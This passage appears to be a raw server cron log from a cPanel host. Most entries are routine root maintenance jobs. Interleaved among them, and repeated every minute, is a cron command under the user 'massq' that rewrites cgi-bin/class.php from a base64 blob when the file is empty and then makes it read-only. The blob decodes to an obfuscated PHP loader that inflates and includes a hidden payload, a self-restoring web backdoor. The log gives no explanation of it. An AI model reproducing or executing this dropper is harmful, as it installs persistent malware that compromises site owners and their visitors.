pZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:26:01 server CROND[10520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:27:01 server CROND[10888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:27:01 server CROND[10889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:27:01 server CROND[10890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:27:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:28:01 server CROND[11363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:28:01 server CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:28:01 server CROND[11364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:29:01 server CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:29:01 server CROND[11735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:29:01 server CROND[11734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:30:01 server CROND[12111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:30:01 server CROND[12113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:30:01 server CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:30:01 server CROND[12124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:30:01 server CROND[12126]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 12:30:01 server CROND[12128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:30:01 server CROND[12129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:30:01 server CROND[12127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:30:01 server CROND[12123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:31:01 server CROND[12982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:31:01 server CROND[12983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:31:01 server CROND[12984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:32:01 server CROND[13344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:32:01 server CROND[13345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:32:01 server CROND[13346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:33:01 server CROND[13821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:33:01 server CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:33:01 server CROND[13823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:34:01 server CROND[14205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:34:01 server CROND[14206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:34:01 server CROND[14207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:35:01 server CROND[14597]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 12:35:01 server CROND[14600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:35:01 server CROND[14601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:35:01 server CROND[14608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:35:01 server CROND[14612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:35:01 server CROND[14609]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:35:01 server CROND[14611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:35:01 server CROND[14610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:35:01 server CROND[14605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:36:01 server CROND[15435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:36:01 server CROND[15436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:36:01 server CROND[15437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:37:01 server CROND[15797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:37:01 server CROND[15798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:37:01 server CROND[15800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:38:02 server CROND[16161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:38:02 server CROND[16162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:38:02 server CROND[16163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
